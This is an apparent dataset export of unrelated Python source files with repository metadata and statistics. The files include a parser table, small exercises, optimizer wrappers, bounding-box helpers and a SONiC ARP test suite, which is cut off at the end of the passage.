IDENTIFIER','enum_item',1,'p_enum_item','parser.py',147), ('enum_item -> <empty>','enum_item',0,'p_enum_item','parser.py',148), ('struct -> STRUCT IDENTIFIER metadata { field_seq }','struct',6,'p_struct','parser.py',156), ('table -> TABLE IDENTIFIER metadata { field_seq }','table',6,'p_table','parser.py',163), ('union -> UNION IDENTIFIER metadata { enum_seq }','union',6,'p_union','parser.py',170), ('field_seq -> field field_seq','field_seq',2,'p_field_seq','parser.py',177), ('field_seq -> <empty>','field_seq',0,'p_field_seq','parser.py',178), ('field -> IDENTIFIER : type metadata ;','field',5,'p_field','parser.py',183), ('field -> IDENTIFIER : type = scalar metadata ;','field',7,'p_field','parser.py',184), ('type -> simple_base_type','type',1,'p_type','parser.py',207), ('type -> [ type ]','type',3,'p_type','parser.py',208), ('type -> IDENTIFIER','type',1,'p_type','parser.py',209), ('simple_base_type -> BOOL','simple_base_type',1,'p_simple_base_type','parser.py',219), ('simple_base_type -> BYTE','simple_base_type',1,'p_simple_base_type','parser.py',220), ('simple_base_type -> UBYTE','simple_base_type',1,'p_simple_base_type','parser.py',221), ('simple_base_type -> SHORT','simple_base_type',1,'p_simple_base_type','parser.py',222), ('simple_base_type -> USHORT','simple_base_type',1,'p_simple_base_type','parser.py',223), ('simple_base_type -> INT','simple_base_type',1,'p_simple_base_type','parser.py',224), ('simple_base_type -> UINT','simple_base_type',1,'p_simple_base_type','parser.py',225), ('simple_base_type -> FLOAT','simple_base_type',1,'p_simple_base_type','parser.py',226), ('simple_base_type -> LONG','simple_base_type',1,'p_simple_base_type','parser.py',227), ('simple_base_type -> ULONG','simple_base_type',1,'p_simple_base_type','parser.py',228), ('simple_base_type -> DOUBLE','simple_base_type',1,'p_simple_base_type','parser.py',229), ('simple_base_type -> STRING','simple_base_type',1,'p_simple_base_type','parser.py',230), ('scalar -> LITERAL','scalar',1,'p_scalar','parser.py',260), ('scalar -> BOOLCONSTANT','scalar',1,'p_scalar','parser.py',261), ('scalar -> DUBCONSTANT','scalar',1,'p_scalar','parser.py',262), ('scalar -> INTCONSTANT','scalar',1,'p_scalar','parser.py',263), ('scalar -> IDENTIFIER','scalar',1,'p_scalar','parser.py',264), ]	137.95	4,512	0.593331	2,540	13,795	3.079528	0.095276	0.07057	0.073383	0.023012	0.479801	0.395935	0.278062	0.266428	0.252365	0.240348	0.223512	0.10714	13,795	99	4,513	139.343434	0.411545	0.006089	0.022472	1	0.011236	0.486429	0.001897	0	0	0	0	1	0	false	0	0	0	0	0	0	0	0	null	0	0	0	0	0	0	0	0	0	1	0	1	1	1	0	1	0	0	0	null	0	0	0	0	0	0	0	0	0	0	0	5
5746d3ec83403c78496f5aed26a201354c64de02	68	py	Python	python01.py	vamsikrishna2k6/PythonV3_02	07db3ecefdf76f3050625ded30f451377f8c4ff0	[ "Unlicense" ]	null	null	null	python01.py	vamsikrishna2k6/PythonV3_02	07db3ecefdf76f3050625ded30f451377f8c4ff0	[ "Unlicense" ]	null	null	null	python01.py	vamsikrishna2k6/PythonV3_02	07db3ecefdf76f3050625ded30f451377f8c4ff0	[ "Unlicense" ]	null	null	null	print('Hello \t World' "\n hey") print('hello', "hey!", 1 + 2, 3)	22.666667	34	0.529412	12	68	3	0.75	0.555556	0	0	0	0	0	0	0	0	0.054545	0.191176	68	3	35	22.666667	0.6	0	0	0	0	0.42029	0	0	0	0	0	1	0	true	0	0	0	0	1	1	0	0	null	1	0	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	1	0	0	0	0	1	5
57511ce957a942ceb831a9161d373687872555fd	4,327	py	Python	code-experiments/build/python/opt_ia_python_solver.py	ysakanaka/coco	ebd5c30ccc83910755e379322b23d60a4b72ef38	[ "BSD-3-Clause" ]	null	null	null	code-experiments/build/python/opt_ia_python_solver.py	ysakanaka/coco	ebd5c30ccc83910755e379322b23d60a4b72ef38	[ "BSD-3-Clause" ]	null	null	null	code-experiments/build/python/opt_ia_python_solver.py	ysakanaka/coco	ebd5c30ccc83910755e379322b23d60a4b72ef38	[ "BSD-3-Clause" ]	null	null	null	from __future__ import absolute_import, division, print_function import numpy as np import sys #sys.path.append('/home/ysakanaka/Opt_IA/opt-ia_python') sys.path.append('/Users/ysakanaka/Program/Research/Opt-IA_python') import optIA def opt_IA_master(fun, lbounds, ubounds, budget): """Efficient implementation of uniform random search between `lbounds` and `ubounds` """ lbounds, ubounds = np.array(lbounds), np.array(ubounds) dim, x_min, f_min = len(lbounds), None, None opt_ia = optIA.OptIA(fun, lbounds, ubounds) max_chunk_size = 1 + 4e4 / dim x_min = opt_ia.opt_ia(budget, max_chunk_size) return x_min def opt_IA(fun, lbounds, ubounds, budget): """Efficient implementation of uniform random search between `lbounds` and `ubounds` """ lbounds, ubounds = np.array(lbounds), np.array(ubounds) dim, x_min, f_min = len(lbounds), None, None opt_ia = optIA.OptIA(fun, lbounds, ubounds) max_chunk_size = 1 + 4e4 / dim x_min = opt_ia.opt_ia(budget) return x_min def opt_IA_random_generation(fun, lbounds, ubounds, budget): """Efficient implementation of uniform random search between `lbounds` and `ubounds` """ lbounds, ubounds = np.array(lbounds), np.array(ubounds) dim, x_min, f_min = len(lbounds), None, None opt_ia = optIA.OptIA(fun, lbounds, ubounds, sobol=False) max_chunk_size = 1 + 4e4 / dim x_min = opt_ia.opt_ia(budget) return x_min def opt_IA_reset_age(fun, lbounds, ubounds, budget): """Efficient implementation of uniform random search between `lbounds` and `ubounds` """ lbounds, ubounds = np.array(lbounds), np.array(ubounds) dim, x_min, f_min = len(lbounds), None, None opt_ia = optIA.OptIA(fun, lbounds, ubounds, ra=True) max_chunk_size = 1 + 4e4 / dim x_min = opt_ia.opt_ia(budget) return x_min def opt_IA_search_assist(fun, lbounds, ubounds, budget): """Efficient implementation of uniform random search between `lbounds` and `ubounds` """ lbounds, ubounds = np.array(lbounds), np.array(ubounds) dim, x_min, f_min = len(lbounds), None, None opt_ia = optIA.OptIA(fun, lbounds, ubounds, ssa=True) max_chunk_size = 1 + 4e4 / dim x_min = opt_ia.opt_ia(budget) return x_min def opt_IA_surrogate_assist(fun, lbounds, ubounds, budget): """Efficient implementation of uniform random search between `lbounds` and `ubounds` """ lbounds, ubounds = np.array(lbounds), np.array(ubounds) dim, x_min, f_min = len(lbounds), None, None opt_ia = optIA.OptIA(fun, lbounds, ubounds, sua = True) max_chunk_size = 1 + 4e4 / dim x_min = opt_ia.opt_ia(budget) return x_min def opt_IA_surrogate_and_search_assist(fun, lbounds, ubounds, budget): """Efficient implementation of uniform random search between `lbounds` and `ubounds` """ lbounds, ubounds = np.array(lbounds), np.array(ubounds) dim, x_min, f_min = len(lbounds), None, None opt_ia = optIA.OptIA(fun, lbounds, ubounds, ssa = True, sua = True) max_chunk_size = 1 + 4e4 / dim x_min = opt_ia.opt_ia(budget) return x_min # =============================================== # the most basic example solver # =============================================== def random_search(fun, lbounds, ubounds, budget): """Efficient implementation of uniform random search between `lbounds` and `ubounds` """ lbounds, ubounds = np.array(lbounds), np.array(ubounds) dim, x_min, f_min = len(lbounds), None, None max_chunk_size = 1 + 4e4 / dim while budget > 0: chunk = int(max([1, min([budget, max_chunk_size])])) # about five times faster than "for k in range(budget):..." X = lbounds + (ubounds - lbounds) * np.random.rand(chunk, dim) # X is candidate array if fun.number_of_constraints > 0: C = [fun.constraint(x) for x in X] # call constraints eval F = [fun(x) for i, x in enumerate(X) if np.all(C[i] <= 0)] # eval else: F = [fun(x) for x in X] # eval if fun.number_of_objectives == 1: index = np.argmin(F) if len(F) else None if index is not None and (f_min is None or F[index] < f_min): x_min, f_min = X[index], F[index] budget -= chunk return x_min	33.542636	93	0.648717	628	4,327	4.294586	0.152866	0.057471	0.09455	0.026696	0.751205	0.745273	0.731554	0.731554	0.731554	0.731554	0.008562	0.217241	4,327	128	94	33.804688	0.787718	0.219089	0.555556	0	0	0.014426	0.014426	0	0	0	0	1	0.111111	false	0	0.055556	0	0.277778	0.013889	0	0	0	null	0	0	0	0	1	1	1	1	1	0	0	0	0	0	0	0	0	0	0	null	0	0	0	0	0	0	0	0	0	0	0	5
93867f9217ac7882749888cf577b269878165ee3	135	py	Python	rust.py	alexcormier/dotbot-rust	d9515dca0b5b8b56692b81690c8dc2937dc5c76c	[ "0BSD" ]	3	2020-12-07T00:06:07.000Z	2022-01-02T16:31:25.000Z	rust.py	alexcormier/dotbot-rust	d9515dca0b5b8b56692b81690c8dc2937dc5c76c	[ "0BSD" ]	1	2018-11-30T02:46:30.000Z	2018-12-01T00:32:58.000Z	rust.py	alexcormier/dotbot-rust	d9515dca0b5b8b56692b81690c8dc2937dc5c76c	[ "0BSD" ]	5	2018-03-22T15:28:36.000Z	2022-01-02T16:31:26.000Z	import os import sys sys.path.append(os.path.dirname(os.path.realpath(__file__))) from cargo import Cargo from rustup import Rustup	15	60	0.792593	22	135	4.681818	0.5	0.116505	0	0	0	0	0	0	0	0	0	0.118519	135	8	61	16.875	0.865546	0	0	0	0	0	0	0	0	0	0	1	0	true	0	0.8	0	0.8	0	1	0	0	null	0	0	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	1	0	1	0	1	0	5
9386f1e7df9aeaaab92ef2bd74d25be1b89cfc61	94	py	Python	accounts/admin.py	CMPUT404-stev-sand-pant-ashw-mehr/CMPUT404-stev-sand-pant-ashw-mehr-repo	0f96d938e9e3ec51103f2b20cb9673bd0b145343	[ "MIT" ]	null	null	null	accounts/admin.py	CMPUT404-stev-sand-pant-ashw-mehr/CMPUT404-stev-sand-pant-ashw-mehr-repo	0f96d938e9e3ec51103f2b20cb9673bd0b145343	[ "MIT" ]	50	2021-10-08T00:01:43.000Z	2021-12-06T06:34:29.000Z	accounts/admin.py	CMPUT404-stev-sand-pant-ashw-mehr/CMPUT404-stev-sand-pant-ashw-mehr-repo	0f96d938e9e3ec51103f2b20cb9673bd0b145343	[ "MIT" ]	null	null	null	from django.contrib import admin from accounts.models import Node admin.site.register(Node)	15.666667	32	0.819149	14	94	5.5	0.714286	0	0	0	0	0	0	0	0	0	0	0.117021	94	5	33	18.8	0.927711	0	0	0	0	0	0	0	0	0	0	1	0	true	0	0.666667	0	0.666667	0	1	0	0	null	0	0	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	1	0	1	0	1	0	5
938c4c78865070958bf83e7c345e28313b633b71	285	py	Python	vislab/features/__init__.py	hertzmann/vislab	fcded208637fb51edfeaef1bde0bf766f9af1941	[ "BSD-2-Clause" ]	113	2015-01-20T18:13:21.000Z	2021-08-08T05:17:57.000Z	vislab/features/__init__.py	Jai-Chaudhary/vislab	9bb0e2b332797d7a6deb2b8d6b6e98d3c692cee6	[ "BSD-2-Clause" ]	2	2015-06-08T18:10:22.000Z	2017-10-10T02:45:53.000Z	vislab/features/__init__.py	Jai-Chaudhary/vislab	9bb0e2b332797d7a6deb2b8d6b6e98d3c692cee6	[ "BSD-2-Clause" ]	70	2015-01-07T03:08:05.000Z	2022-02-13T13:04:04.000Z	""" Copyright Sergey Karayev - 2013. Written partially during internship at Adobe CTL, San Francisco. """ from misc import caffe from misc import size from misc import gist from misc import lab_hist from misc import gbvs_saliency from misc import mc_bit from dsift import dsift_llc	19	64	0.8	45	285	4.977778	0.6	0.214286	0.375	0	0	0	0	0	0	0	0.016807	0.164912	285	14	65	20.357143	0.92437	0.340351	0	0	0	0	0	0	0	0	0	1	0	true	0	1	0	1	0	0	0	0	null	1	1	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	null	0	0	0	0	0	1	0	1	0	1	0	5
93be93e2956042cc8d6863e92107509b59e25e08	37	py	Python	saves_bot/constants.py	Gaming32/no-counting-unless-saves	1f5b8af9bd1970ff01c09f92de28931a5266b133	[ "MIT" ]	null	null	null	saves_bot/constants.py	Gaming32/no-counting-unless-saves	1f5b8af9bd1970ff01c09f92de28931a5266b133	[ "MIT" ]	null	null	null	saves_bot/constants.py	Gaming32/no-counting-unless-saves	1f5b8af9bd1970ff01c09f92de28931a5266b133	[ "MIT" ]	null	null	null	COUNTING_BOT_ID = 510016054391734273	18.5	36	0.891892	4	37	7.75	1	0	0	0	0	0	0	0	0	0	0.529412	0.081081	37	1	37	37	0.382353	0	0	0	0	0	0	0	0	0	0	1	0	false	0	0	0	0	0	1	1	0	null	0	0	0	0	0	0	0	0	0	1	1	0	0	1	0	0	0	0	0	null	0	0	0	0	0	0	0	0	0	0	0	5
93cc71ca86e12c04e837bb96c104de59a5b21931	111	py	Python	exercicio/exercicio4.py	jessicsous/Curso_Python	94c9b70ec03022b21ac23bf85918aa20ce4cfdd1	[ "MIT" ]	1	2021-09-21T01:50:10.000Z	2021-09-21T01:50:10.000Z	exercicio/exercicio4.py	jessicsous/Curso_Python	94c9b70ec03022b21ac23bf85918aa20ce4cfdd1	[ "MIT" ]	null	null	null	exercicio/exercicio4.py	jessicsous/Curso_Python	94c9b70ec03022b21ac23bf85918aa20ce4cfdd1	[ "MIT" ]	1	2021-10-04T19:49:04.000Z	2021-10-04T19:49:04.000Z	''' for / while 0 10 1 9 2 8 3 7 4 6 5 5 6 4 7 3 8 2 ''' for p, r in enumerate(range(10,1,-1)): print(p,r)	7.4	38	0.531532	32	111	1.84375	0.59375	0.101695	0	0	0	0	0	0	0	0	0.294872	0.297297	111	14	39	7.928571	0.461538	0.432432	0	0	0	0	0	0	0	0	0	1	0	true	0	0	0	0	0.5	0	0	1	null	0	0	0	0	0	0	0	0	0	1	0	0	0	1	0	0	0	0	0	null	0	0	0	0	0	1	0	0	0	0	1	5
93f366c2f9c9b110125c75212948a2e63c170ab7	397	py	Python	pydfs_lineup_optimizer/solvers/__init__.py	bmjjr/pydfs-lineup-optimizer	71176ac440832965291780f8e5a2c3f13bd234cd	[ "MIT" ]	null	null	null	pydfs_lineup_optimizer/solvers/__init__.py	bmjjr/pydfs-lineup-optimizer	71176ac440832965291780f8e5a2c3f13bd234cd	[ "MIT" ]	null	null	null	pydfs_lineup_optimizer/solvers/__init__.py	bmjjr/pydfs-lineup-optimizer	71176ac440832965291780f8e5a2c3f13bd234cd	[ "MIT" ]	null	null	null	from pydfs_lineup_optimizer.solvers.base import Solver from pydfs_lineup_optimizer.solvers.pulp_solver import PuLPSolver from pydfs_lineup_optimizer.solvers.constants import SolverSign from pydfs_lineup_optimizer.solvers.exceptions import SolverException, SolverInfeasibleSolutionException __all__ = ['Solver', 'PuLPSolver', 'SolverSign', 'SolverException', 'SolverInfeasibleSolutionException']	49.625	104	0.869018	40	397	8.3	0.4	0.108434	0.180723	0.289157	0.373494	0	0	0	0	0	0	0.065491	397	7	105	56.714286	0.894879	0	0	0	0	0.186398	0.083123	0	0	0	0	1	0	false	0	0.8	0	0.8	0	0	0	0	null	0	1	1	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	0	0	1	0	1	0	5
9e0ecacee75fbd9bf27a9577659cc86a48b2cef0	1,495	py	Python	data/operator/bbox/rasterized/utility/image.py	zhangzhengde0225/SwinTrack	526be17f8ef266cb924c6939bd8dda23e9b73249	[ "MIT" ]	143	2021-12-03T02:33:36.000Z	2022-03-29T00:01:48.000Z	data/operator/bbox/rasterized/utility/image.py	zhangzhengde0225/SwinTrack	526be17f8ef266cb924c6939bd8dda23e9b73249	[ "MIT" ]	33	2021-12-03T10:32:05.000Z	2022-03-31T02:13:55.000Z	data/operator/bbox/rasterized/utility/image.py	zhangzhengde0225/SwinTrack	526be17f8ef266cb924c6939bd8dda23e9b73249	[ "MIT" ]	24	2021-12-04T06:46:42.000Z	2022-03-30T07:57:47.000Z	def get_image_bounding_box(image_size): from data.operator.bbox.rasterized.xywh2xyxy import bbox_xywh2xyxy return bbox_xywh2xyxy((0, 0, image_size[0], image_size[1])) def bounding_box_is_intersect_with_image(bounding_box, image_size): image_bounding_box = get_image_bounding_box(image_size) from data.operator.bbox.intersection import bbox_get_intersection from data.operator.bbox.validity import bbox_is_valid return bbox_is_valid(bbox_get_intersection(image_bounding_box, bounding_box)) def bounding_box_is_intersect_with_image_polygon(bounding_box, image_size): from data.operator.bbox.utility.polygon import get_shapely_polygon_object from data.operator.bbox.xyxy2polygon import bbox_xyxy2polygon A = get_shapely_polygon_object(bbox_xyxy2polygon(bounding_box)) image_bounding_box = get_image_bounding_box(image_size) B = get_shapely_polygon_object(bbox_xyxy2polygon(image_bounding_box)) return A.intersection(B).area > 0 def bounding_box_fit_in_image_boundary(bbox, image_size): image_bounding_box = get_image_bounding_box(image_size) from data.operator.bbox.intersection import bbox_fit_in_boundary return bbox_fit_in_boundary(bbox, image_bounding_box) def bounding_box_fit_in_image_boundary_polygon(bbox, image_size): image_bounding_box = get_image_bounding_box(image_size) from data.operator.bbox.intersection import bbox_fit_in_boundary_polygon return bbox_fit_in_boundary_polygon(bbox, image_bounding_box)	46.71875	81	0.833445	221	1,495	5.167421	0.149321	0.202277	0.196147	0.122592	0.660245	0.578809	0.510508	0.394921	0.359895	0.321366	0.008975	0.105686	1,495	31	82	48.225806	0.845176	0	0.173913	0	0	0	0	0	0	0	0	1	0.217391	false	0	0.304348	0	0.73913	0	0	0	0	null	1	1	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	null	0	0	0	0	1	0	0	1	0	1	0	5
9e13df93d62d27b0801a2eecad772df8d4522589	137	py	Python	Model/FileChooserModel.py	fredtux/ProblemCheckerCLI	1b911889375633d72fdea06d2cd4df8fea177378	[ "MIT" ]	null	null	null	Model/FileChooserModel.py	fredtux/ProblemCheckerCLI	1b911889375633d72fdea06d2cd4df8fea177378	[ "MIT" ]	null	null	null	Model/FileChooserModel.py	fredtux/ProblemCheckerCLI	1b911889375633d72fdea06d2cd4df8fea177378	[ "MIT" ]	null	null	null	class FileChooserModel: @staticmethod def choose(input_text): """Ask for input file""" return input(input_text)	19.571429	32	0.642336	15	137	5.733333	0.733333	0.209302	0	0	0	0	0	0	0	0	0	0.262774	137	6	33	22.833333	0.851485	0.131387	0	0	0	0	0	0	0	0	0	1	0.25	false	0	0	0	0.75	0	1	0	0	null	1	0	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	1	0	0	0	0	1	0	5
f508a3b4b6880f8151c1048f46a73ac22e3a4a9b	15,128	py	Python	spytest/tests/routing/test_arp.py	mykolaf/sonic-mgmt	de77268526173c5e3a345f3f3703b56eb40c5eed	[ "Apache-2.0" ]	1	2021-09-15T17:09:13.000Z	2021-09-15T17:09:13.000Z	spytest/tests/routing/test_arp.py	mykolaf/sonic-mgmt	de77268526173c5e3a345f3f3703b56eb40c5eed	[ "Apache-2.0" ]	1	2020-02-05T16:51:53.000Z	2020-02-05T16:51:53.000Z	spytest/tests/routing/test_arp.py	mykolaf/sonic-mgmt	de77268526173c5e3a345f3f3703b56eb40c5eed	[ "Apache-2.0" ]	null	null	null	import pytest from spytest import st, tgapi, SpyTestDict import apis.routing.arp as arp_obj import apis.routing.ip as ip_obj import apis.system.interface as interface_obj import apis.switching.vlan as vlan_obj import apis.switching.mac as mac data = SpyTestDict() data.d1t1_ip_addr = "192.168.11.1" data.t1d1_ip_addr = "192.168.11.2" data.t1d1_mac_addr = "00:00:00:00:00:01" data.d1t2_ip_addr = "192.168.12.1" data.t2d1_ip_addr = "192.168.12.2" data.t2d1_mac_addr = "00:00:00:00:00:02" data.static_arp_ip_1 = "192.168.11.4" data.static_arp_mac = "00:00:00:00:00:66" data.static_arp_ip = "192.168.12.3" data.static_arp_mac_1 = "00:00:00:00:00:77" data.mask = "24" data.vlan_1 = 64 data.vlan_int_1 = "Vlan{}".format(data.vlan_1) data.clear_parallel = False @pytest.fixture(scope="module", autouse=True) def arp_module_hooks(request): global vars, tg_handler, tg, dut1, d1_mac_addr, h1, h2 # Min topology verification vars = st.ensure_min_topology("D1T1:2") # Initialize TG and TG port handlers tg_handler = tgapi.get_handles_byname("T1D1P1", "T1D1P2") tg = tg_handler["tg"] # Test setup details data.my_dut_list = st.get_dut_names() dut1 = data.my_dut_list[0] # Test variables d1_mac_addr = mac.get_sbin_intf_mac(dut1, "eth0") # ARP module configuration st.log("ARP module configuration.") ip_obj.config_ip_addr_interface(dut1, vars.D1T1P1, data.d1t1_ip_addr, data.mask) vlan_obj.create_vlan(dut1, data.vlan_1) vlan_obj.add_vlan_member(dut1, data.vlan_1, vars.D1T1P2, True) ip_obj.config_ip_addr_interface(dut1, data.vlan_int_1, data.d1t2_ip_addr, data.mask) # TG ports reset st.log("Resetting the TG ports") tg.tg_traffic_control(action="reset", port_handle=tg_handler["tg_ph_list"]) # TG protocol interface creation st.log("TG protocol interface creation") h1 = tg.tg_interface_config(port_handle=tg_handler["tg_ph_1"], mode='config', intf_ip_addr=data.t1d1_ip_addr,gateway=data.d1t1_ip_addr, src_mac_addr=data.t1d1_mac_addr,arp_send_req='1') st.log("INTFCONF: "+str(h1)) h2 = tg.tg_interface_config(port_handle=tg_handler["tg_ph_2"], mode='config', intf_ip_addr=data.t2d1_ip_addr,gateway=data.d1t2_ip_addr, src_mac_addr=data.t2d1_mac_addr,arp_send_req='1',vlan_id=data.vlan_1,vlan=1) st.log("INTFCONF: "+str(h2)) yield # ARP module cleanup st.log("ARP module cleanup.") ip_obj.clear_ip_configuration(dut1,family="ipv4",thread=data.clear_parallel) vlan_obj.clear_vlan_configuration(dut1,thread= data.clear_parallel) @pytest.fixture(scope="function", autouse=True) def arp_func_hooks(request): # ARP function configuration yield # ARP function cleanup def test_ft_arp_entry_link_failure(): ################# Author Details ################ # Name: Rakesh Kumar Vooturi # Email: rakesh-kumar.vooturi@broadcom.com ################################################# # # Objective - Verify an ARP table entry learned on port based routing interface is # removed from ARP table after link failure on which that entry is learned. # Objective - Verify an ARP table entry learned on vlan based routing interface is # removed from ARP table after link failure on which that entry is learned # ############### Test bed details ################ # DUT-----TG ################################################# # Ping from tgen to DUT. res = tgapi.verify_ping(src_obj=tg, port_handle=tg_handler["tg_ph_1"], dev_handle=h1['handle'], dst_ip=data.d1t1_ip_addr,ping_count='1', exp_count='1') if res: st.log("Ping succeeded.") else: st.warn("Ping failed.") res = tgapi.verify_ping(src_obj=tg, port_handle=tg_handler["tg_ph_2"], dev_handle=h2['handle'], dst_ip=data.d1t2_ip_addr,ping_count='1', exp_count='1') st.log("PING_RES: " + str(res)) if res: st.log("Ping succeeded.") else: st.warn("Ping failed.") # Verify dynamic arp entries st.log("Verifying the arp entries on the DUT.") if not arp_obj.verify_arp(dut1,data.t1d1_ip_addr,data.t1d1_mac_addr,vars.D1T1P1): st.report_fail("ARP_entry_dynamic_entry_fail", data.t1d1_ip_addr, dut1) st.log("Verifying the arp entries on the DUT") if not arp_obj.verify_arp(dut1,data.t2d1_ip_addr,data.t2d1_mac_addr,vars.D1T1P2,data.vlan_1): st.report_fail("ARP_entry_dynamic_entry_fail", data.t2d1_ip_addr, dut1) # Shutdown the routing interface link. st.log("Shutdown the routing interface links.") if not interface_obj.interface_operation(dut1, [vars.D1T1P1, vars.D1T1P2] , "shutdown"): st.report_fail('interface_admin_shut_down_fail', [vars.D1T1P1, vars.D1T1P2]) # Verify dynamic arp entries st.log("Verifying the arp entries on the DUT.") if arp_obj.verify_arp(dut1,data.t1d1_ip_addr,data.t1d1_mac_addr,vars.D1T1P1): st.report_fail("ARP_dynamic_entry_removal_fail", data.t1d1_ip_addr, vars.D1T1P1) st.log("Verifying the arp entries on the DUT") if arp_obj.verify_arp(dut1,data.t2d1_ip_addr): st.report_fail("ARP_dynamic_entry_removal_fail", data.t2d1_ip_addr, vars.D1T1P2) # Startup the routing interface link. st.log("Startup the routing interface link.") if not interface_obj.interface_operation(dut1, [vars.D1T1P1, vars.D1T1P2], "startup"): st.report_fail('interface_admin_startup_fail', [vars.D1T1P1, vars.D1T1P2]) st.wait(5) # Verify dynamic arp entries st.log("Verifying the arp entries on the DUT.") if not arp_obj.verify_arp(dut1,data.t1d1_ip_addr,data.t1d1_mac_addr,vars.D1T1P1): st.report_fail("ARP_entry_dynamic_entry_fail", data.t1d1_ip_addr, dut1) st.log("Verifying the arp entries on the DUT") if not arp_obj.verify_arp(dut1,data.t2d1_ip_addr,data.t2d1_mac_addr,vars.D1T1P2,data.vlan_1): st.report_fail("ARP_entry_dynamic_entry_fail", data.t2d1_ip_addr, dut1) st.report_pass("test_case_passed") @pytest.fixture(scope="function") def fixture_ft_arp_dynamic_renew_traffic_test(request): yield arp_obj.set_arp_ageout_time(dut1,60) def test_ft_arp_dynamic_renew_traffic_test(fixture_ft_arp_dynamic_renew_traffic_test): ################## Author Details ################ # Name: Rakesh Kumar Vooturi # Email: rakesh-kumar.vooturi@broadcom.com ################################################## # # Objective - Verify a dynamic ARP table entry can be created. # Objective - Verify that there is no data traffic loss during ARP dynamic review. # ############### Test bed details ################ # TG-----DUT-----TG ################################################# # Set DUT values st.log("Setting the DUT values") arp_obj.set_arp_ageout_time(dut1,5) # Ping from tgen to DUT. res = tgapi.verify_ping(src_obj=tg, port_handle=tg_handler["tg_ph_1"], dev_handle=h1['handle'], dst_ip=data.d1t1_ip_addr,ping_count='1', exp_count='1') if res: st.log("Ping succeeded.") else: st.warn("Ping failed.") res = tgapi.verify_ping(src_obj=tg, port_handle=tg_handler["tg_ph_2"], dev_handle=h2['handle'], dst_ip=data.d1t2_ip_addr,ping_count='1', exp_count='1') if res: st.log("Ping succeeded.") else: st.warn("Ping failed.") # TG ports reset st.log("Resetting the TG ports") tg.tg_traffic_control(action="clear_stats", port_handle=tg_handler["tg_ph_list"]) #TG stream formation s1 = tg.tg_traffic_config(port_handle= tg_handler["tg_ph_2"],mode='create',rate_pps=10, mac_src=data.t2d1_mac_addr,transmit_mode="continuous",mac_dst=d1_mac_addr, l2_encap='ethernet_ii_vlan',l3_protocol="ipv4",ip_dst_addr=data.t1d1_ip_addr, ip_src_addr=data.t2d1_ip_addr,vlan_id=data.vlan_1,vlan="enable") tg.tg_traffic_control(action="run", stream_handle=s1['stream_id']) # Waiting for more than arp ageout time st.wait(10) tg.tg_traffic_control(action="stop", stream_handle=s1['stream_id']) # Adding sleep st.wait(2) st.log("Checking the stats and verifying the traffic flow") traffic_details = { '1': { 'tx_ports': [vars.T1D1P2], 'tx_obj': [tg], 'exp_ratio': [1], 'rx_ports': [vars.T1D1P1], 'rx_obj': [tg], } } if not tgapi.validate_tgen_traffic(traffic_details=traffic_details, mode='aggregate', comp_type='packet_count'): st.report_fail("traffic_verification_failed") else: st.log("traffic verification passed") st.report_pass("test_case_passed") @pytest.fixture(scope="function") def fixture_ft_arp_clear_cache_static_and_dynamic_entries(request): yield arp_obj.delete_static_arp(dut1, data.static_arp_ip) arp_obj.delete_static_arp(dut1, data.static_arp_ip_1) @pytest.mark.community @pytest.mark.community_pass def test_ft_arp_clear_cache_static_and_dynamic_entries(fixture_ft_arp_clear_cache_static_and_dynamic_entries): ################## Author Details ############### # Name: Rakesh Kumar Vooturi # Email: rakesh-kumar.vooturi@broadcom.com ################################################# # # Objective - Verify that the clearing the ARP cache, # all dynamic entries are removed and static entries are not cleared. # ############### Test bed details ################ # TG-----DUT-----TG ################################################# # Adding static arp entries arp_obj.add_static_arp(dut1, data.static_arp_ip_1, data.static_arp_mac_1, vars.D1T1P1) arp_obj.add_static_arp(dut1, data.static_arp_ip, data.static_arp_mac, data.vlan_int_1) res = tgapi.verify_ping(src_obj=tg, port_handle=tg_handler["tg_ph_1"], dev_handle=h1['handle'], dst_ip=data.d1t1_ip_addr,ping_count='1', exp_count='1') if res: st.log("Ping succeeded.") else: st.warn("Ping failed.") res = tgapi.verify_ping(src_obj=tg, port_handle=tg_handler["tg_ph_2"], dev_handle=h2['handle'], dst_ip=data.d1t2_ip_addr,ping_count='1', exp_count='1') if res: st.log("Ping succeeded.") else: st.warn("Ping failed.") # Verify static and dynamic arp entries st.log("Verifying the arp entries on the DUT") if not arp_obj.verify_arp(dut1,data.t1d1_ip_addr,data.t1d1_mac_addr,vars.D1T1P1): st.report_fail("ARP_entry_dynamic_entry_fail", data.t1d1_ip_addr, dut1) if not arp_obj.verify_arp(dut1,data.t2d1_ip_addr,data.t2d1_mac_addr,vars.D1T1P2,data.vlan_1): st.report_fail("ARP_entry_dynamic_entry_fail", data.t2d1_ip_addr, dut1) if not arp_obj.verify_arp(dut1,data.static_arp_ip_1,data.static_arp_mac_1,vars.D1T1P1): st.report_fail("static_arp_create_fail", dut1) if not arp_obj.verify_arp(dut1,data.static_arp_ip,data.static_arp_mac,"",data.vlan_1): st.report_fail("static_arp_create_fail", dut1) st.banner("Start - Verifying dynamic and static arp entries behavior on issuing sonic-clear arp command WITH traffic flowing") # TG ports reset st.log("Resetting the TG ports") tg.tg_traffic_control(action="clear_stats", port_handle=tg_handler["tg_ph_list"]) #TG stream formation s1=tg.tg_traffic_config(port_handle= tg_handler["tg_ph_2"],mode='create',rate_pps=10, mac_src=data.t2d1_mac_addr,transmit_mode="continuous",mac_dst=d1_mac_addr, l2_encap='ethernet_ii_vlan',l3_protocol="ipv4",ip_dst_addr=data.t1d1_ip_addr, ip_src_addr=data.t2d1_ip_addr,vlan_id=data.vlan_1,vlan="enable") s2=tg.tg_traffic_config(port_handle= tg_handler["tg_ph_1"],mode='create',rate_pps=10, mac_src=data.t1d1_mac_addr,transmit_mode="continuous",mac_dst=d1_mac_addr, l2_encap='ethernet_ii_vlan',l3_protocol="ipv4",ip_dst_addr=data.t2d1_ip_addr, ip_src_addr=data.t1d1_ip_addr) tg.tg_traffic_control(action="run",stream_handle=[s1['stream_id'], s2['stream_id']]) # Adding wait for traffic to flow. st.wait(5) # Issuing sonic-clear arp command and veryfying the entries behavior. arp_obj.clear_arp_table(dut1) # Adding wait for traffic to 